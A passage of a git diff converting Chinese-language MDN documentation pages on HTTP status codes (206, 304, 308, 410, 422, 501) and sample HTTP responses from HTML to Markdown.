    请求资源不存在的网页响应:

    - -
    HTTP/1.1 404 Not Found
    +Content-Length: 325 (如果用户代理无法转到新地址,就显示一个默认页面)
    +
    +
    +
    +301 Moved Permanently
    +
    +

    Moved Permanently

    +

    The document has moved here.

    +
    +
    Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80
    + +``` + +请求资源不存在的网页响应: + +```plain +HTTP/1.1 404 Not Found Date: Sat, 09 Oct 2010 14:33:02 GMT Server: Apache Last-Modified: Tue, 01 May 2007 14:24:39 GMT @@ -136,25 +129,20 @@ Accept-Ranges: bytes Content-Length: 10732 Content-Type: text/html -<!DOCTYPE html... (包含一个站点自定义 404 页面,帮助用户找到丢失的资源) - -
    +响应状态码 +### 响应状态码 -

    HTTP 响应状态码 用来表示一个 HTTP 请求是否成功完成。响应被分为 5 种类型:信息型响应,成功响应,重定向,客户端错误和服务端错误。

    +[HTTP 响应状态码](/zh-CN/docs/Web/HTTP/Status) 用来表示一个 HTTP 请求是否成功完成。响应被分为 5 种类型:信息型响应,成功响应,重定向,客户端错误和服务端错误。 -
      -
    • {{HTTPStatus(200)}}: OK. 请求成功。
    • -
    • {{HTTPStatus(301)}}: Moved Permanently. 请求资源的 URI 已被改变。
    • -
    • {{HTTPStatus(404)}}: Not Found. 服务器无法找到请求的资源。
    • -
    +- {{HTTPStatus(200)}}: OK. 请求成功。 +- {{HTTPStatus(301)}}: Moved Permanently. 请求资源的 URI 已被改变。 +- {{HTTPStatus(404)}}: Not Found. 服务器无法找到请求的资源。 -

    参见

    +## 参见 - +- [Identifying resources on the Web](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) +- [HTTP headers](/zh-CN/docs/Web/HTTP/Headers) +- [HTTP request methods](/zh-CN/docs/Web/HTTP/Methods) +- [HTTP response status codes](/zh-CN/docs/Web/HTTP/Status) diff --git a/files/zh-cn/web/http/status/206/index.md b/files/zh-cn/web/http/status/206/index.md index f81034f19e9f34..fe5899d83dc11e 100644 --- a/files/zh-cn/web/http/status/206/index.md +++ b/files/zh-cn/web/http/status/206/index.md @@ -6,34 +6,39 @@ tags: - 范围请求 translation_of: Web/HTTP/Status/206 --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 206 Partial Content 成功状态响应代码表示请求已成功,并且主体包含所请求的数据区间,该数据区间是在请求的 {{HTTPHeader("Range")}} 首部指定的。

    +HTTP **`206 Partial Content`** 成功状态响应代码表示请求已成功,并且主体包含所请求的数据区间,该数据区间是在请求的 {{HTTPHeader("Range")}} 首部指定的。 -

    如果只包含一个数据区间,那么整个响应的 {{HTTPHeader("Content-Type")}} 首部的值为所请求的文件的类型,同时包含 {{HTTPHeader("Content-Range")}} 首部。

    +如果只包含一个数据区间,那么整个响应的 {{HTTPHeader("Content-Type")}} 首部的值为所请求的文件的类型,同时包含 {{HTTPHeader("Content-Range")}} 首部。 -

    如果包含多个数据区间,那么整个响应的 {{HTTPHeader("Content-Type")}} 首部的值为 multipart/byteranges ,其中一个片段对应一个数据区间,并提供 {{HTTPHeader("Content-Range")}} 和 {{HTTPHeader("Content-Type")}} 描述信息。

    +如果包含多个数据区间,那么整个响应的 {{HTTPHeader("Content-Type")}} 首部的值为 `multipart/byteranges` ,其中一个片段对应一个数据区间,并提供 {{HTTPHeader("Content-Range")}} 和 {{HTTPHeader("Content-Type")}} 描述信息。 -

    状态

    +## 状态 -
    206 Partial Content
    +```plain +206 Partial Content +``` -

    示例

    +## 示例 -

    只包含一个数据区间的响应:

    +只包含一个数据区间的响应: -
    HTTP/1.1 206 Partial Content
    +```plain
    +HTTP/1.1 206 Partial Content
     Date: Wed, 15 Nov 2015 06:25:24 GMT
     Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
     Content-Range: bytes 21010-47021/47022
     Content-Length: 26012
     Content-Type: image/gif
     
    -... 26012 bytes of partial image data ...
    +... 26012 bytes of partial image data ... +``` -

    包含多个数据区间的响应:

    +包含多个数据区间的响应: -
    HTTP/1.1 206 Partial Content
    +```plain
    +HTTP/1.1 206 Partial Content
     Date: Wed, 15 Nov 2015 06:25:24 GMT
     Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
     Content-Length: 1741
    @@ -49,21 +54,20 @@ Content-Type: application/pdf
     Content-Range: bytes 4590-7999/8000
     
     ...the second range
    ---String_separator--
    +--String_separator-- +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • {{HTTPHeader("If-Range")}}
    • -
    • {{HTTPHeader("Range")}}
    • -
    • {{HTTPHeader("Content-Range")}}
    • -
    • {{HTTPHeader("Content-Type")}}
    • -
    +- {{HTTPHeader("If-Range")}} +- {{HTTPHeader("Range")}} +- {{HTTPHeader("Content-Range")}} +- {{HTTPHeader("Content-Type")}} diff --git a/files/zh-cn/web/http/status/304/index.md b/files/zh-cn/web/http/status/304/index.md index d21c27214afab3..34463e27f8a6cf 100644 --- a/files/zh-cn/web/http/status/304/index.md +++ b/files/zh-cn/web/http/status/304/index.md @@ -8,37 +8,33 @@ tags: - Status code translation_of: Web/HTTP/Status/304 --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 304 未改变说明无需再次传输请求的内容,也就是说可以使用缓存的内容。这通常是在一些安全的方法({{glossary("safe")}}),例如{{HTTPMethod("GET")}} 或{{HTTPMethod("HEAD")}} 或在请求中附带了头部信息: {{HTTPHeader("If-None-Match")}} 或{{HTTPHeader("If-Modified-Since")}}。

    +HTTP **`304 Not Modified`** 说明无需再次传输请求的内容,也就是说可以使用缓存的内容。这通常是在一些安全的方法({{glossary("safe")}}),例如{{HTTPMethod("GET")}} 或{{HTTPMethod("HEAD")}} 或在请求中附带了头部信息: {{HTTPHeader("If-None-Match")}} 或{{HTTPHeader("If-Modified-Since")}}。 -

    如果是 {{HTTPStatus("200")}} OK ,响应会带有头部 {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}},和 {{HTTPHeader("Vary")}}.

    +如果是 {{HTTPStatus("200")}} `OK` ,响应会带有头部 {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}},和 {{HTTPHeader("Vary")}}. -
    -

    很多浏览器的 开发者工具 会发出额外的请求,以达到 304 的目的,这样可以把资源以本地缓存的形式展现给开发者。

    -
    +> **备注:** 很多浏览器的 [开发者工具](/zh-CN/docs/Tools/Network_Monitor) 会发出额外的请求,以达到 `304` 的目的,这样可以把资源以本地缓存的形式展现给开发者。 -

    状态

    +## 状态 -
    304 未改变
    +```plain +304 未改变 +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容

    +## 浏览器兼容 -

    {{Compat}}

    +{{Compat}} -

    兼容性提醒

    +## 兼容性提醒 -
      -
    • 如果响应错误的携带了响应体,那么浏览器会有不同的行为,详情请见 204 No Content
    • -
    +- 如果响应错误的携带了响应体,那么浏览器会有不同的行为,详情请见 [204 No Content](/zh-CN/docs/Web/HTTP/Status/204) 。 -

    更多

    +## 更多 -
      -
    • {{HTTPHeader("If-Modified-Since")}}
    • -
    • {{HTTPHeader("If-None-Match")}}
    • -
    +- {{HTTPHeader("If-Modified-Since")}} +- {{HTTPHeader("If-None-Match")}} diff --git a/files/zh-cn/web/http/status/308/index.md b/files/zh-cn/web/http/status/308/index.md index e5d6db06423b8e..e9ce9d7e78dede 100644 --- a/files/zh-cn/web/http/status/308/index.md +++ b/files/zh-cn/web/http/status/308/index.md @@ -6,31 +6,29 @@ tags: - 重定向 translation_of: Web/HTTP/Status/308 --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    在 HTTP 协议中, 308 Permanent Redirect(永久重定向)是表示重定向的响应状态码,说明请求的资源已经被永久的移动到了由 {{HTTPHeader("Location")}} 首部指定的 URL 上。浏览器会进行重定向,同时搜索引擎也会更新其链接(用 SEO 的行话来说,意思是“链接汁”(link juice)被传递到了新的 URL)。

    +在 HTTP 协议中, **308 Permanent Redirect**(永久重定向)是表示重定向的响应状态码,说明请求的资源已经被永久的移动到了由 {{HTTPHeader("Location")}} 首部指定的 URL 上。浏览器会进行重定向,同时搜索引擎也会更新其链接(用 SEO 的行话来说,意思是“链接汁”(link juice)被传递到了新的 URL)。 -

    在重定向过程中,请求方法和消息主体不会发生改变,然而在返回 {{HTTPStatus("301")}} 状态码的情况下,请求方法有时候会被客户端错误地修改为 {{HTTPMethod("GET")}} 方法。

    +在重定向过程中,请求方法和消息主体不会发生改变,然而在返回 {{HTTPStatus("301")}} 状态码的情况下,请求方法有时候会被客户端错误地修改为 {{HTTPMethod("GET")}} 方法。 -
    -

    一些 Web 应用可能会将 308 Permanent Redirect 以一种非标准的方式使用以及用作其他用途。例如,Google Drive 会使用 308 Resume Incomplete 状态码来告知客户端文件上传终止且不完整。[1]

    -
    +> **备注:** 一些 Web 应用可能会将 308 Permanent Redirect 以一种非标准的方式使用以及用作其他用途。例如,Google Drive 会使用 308 Resume Incomplete 状态码来告知客户端文件上传终止且不完整。[\[1\]](https://developers.google.com/drive/v3/web/manage-uploads#resumable) -

    状态

    +## 状态 -
    308 Permanent Redirect
    +```plain +308 Permanent Redirect +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    更多可见

    +## 更多可见 -
      -
    • {{HTTPStatus("301")}} Moved Permanently
    • -
    • {{HTTPStatus("302")}} Found, the temporary redirect
    • -
    +- {{HTTPStatus("301")}} `Moved Permanently` +- {{HTTPStatus("302")}} `Found`, the temporary redirect diff --git a/files/zh-cn/web/http/status/410/index.md b/files/zh-cn/web/http/status/410/index.md index bc2cfa479d8111..1101c73185eaeb 100644 --- a/files/zh-cn/web/http/status/410/index.md +++ b/files/zh-cn/web/http/status/410/index.md @@ -3,30 +3,26 @@ title: 410 Gone slug: Web/HTTP/Status/410 translation_of: Web/HTTP/Status/410 --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -
    HTTP 410 丢失 说明请求的目标资源在原服务器上不存在了,并且是永久性的丢失。如果不清楚是否为永久或临时的丢失,应该使用{{HTTPStatus(404)}}
    +HTTP **`410 Gone`** 说明请求的目标资源在原服务器上不存在了,并且是永久性的丢失。如果不清楚是否为永久或临时的丢失,应该使用{{HTTPStatus(404)}} +> **备注:** 410 响应默认会被缓存 +## 状态 -
    -

    410 响应默认会被缓存

    -
    +```plain +410 Gone +``` -

    状态

    - -
    410 Gone
    - -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    更多可见

    +## 更多可见 -
      -
    • {{HTTPStatus(404)}}
    • -
    +- {{HTTPStatus(404)}} diff --git a/files/zh-cn/web/http/status/422/index.md b/files/zh-cn/web/http/status/422/index.md index 58d7a9308ae57c..f2a5c3bc9d4f77 100644 --- a/files/zh-cn/web/http/status/422/index.md +++ b/files/zh-cn/web/http/status/422/index.md @@ -3,18 +3,18 @@ title: 422 Unprocessable Entity slug: Web/HTTP/Status/422 translation_of: Web/HTTP/Status/422 --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    HTTP 422 状态码表示服务器理解请求实体的内容类型,并且请求实体的语法是正确的,但是服务器无法处理所包含的指令。

    +HTTP 422 状态码表示服务器理解请求实体的内容类型,并且请求实体的语法是正确的,但是服务器无法处理所包含的指令。 -
    -

    重要提示:客户端不应在不修改的情况下重复发送此请求。

    -
    +> **警告:** 客户端不应在不修改的情况下重复发送此请求。 -

    状态码

    +## 状态码 -
    422 Unprocessable Entity
    +```plain +422 Unprocessable Entity +``` -

    规范

    +## 规范 {{Specifications}} diff --git a/files/zh-cn/web/http/status/501/index.md b/files/zh-cn/web/http/status/501/index.md index 6c2a592bed8dad..bb96eb2f484559 100644 --- a/files/zh-cn/web/http/status/501/index.md +++ b/files/zh-cn/web/http/status/501/index.md @@ -7,24 +7,24 @@ tags: - 状态码 translation_of: Web/HTTP/Status/501 --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 501 Not Implemented 服务器错误响应码表示请求的方法不被服务器支持,因此无法被处理。服务器必须支持的方法(即不会返回这个状态码的方法)只有 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}}。

    +HTTP **`501 Not Implemented`** 服务器错误响应码表示请求的方法不被服务器支持,因此无法被处理。服务器必须支持的方法(即不会返回这个状态码的方法)只有 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}}。 -

    请注意,你无法修复 501 错误,需要被访问的 web 服务器去修复该问题。

    +请注意,你无法修复 501 错误,需要被访问的 web 服务器去修复该问题。 -
    -

    501 响应默认是可缓存的。

    -
    +> **备注:** 501 响应默认是可缓存的。 -

    状态

    +## 状态 -
    501 Not Implemented
    +```plain +501 Not Implemented +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}}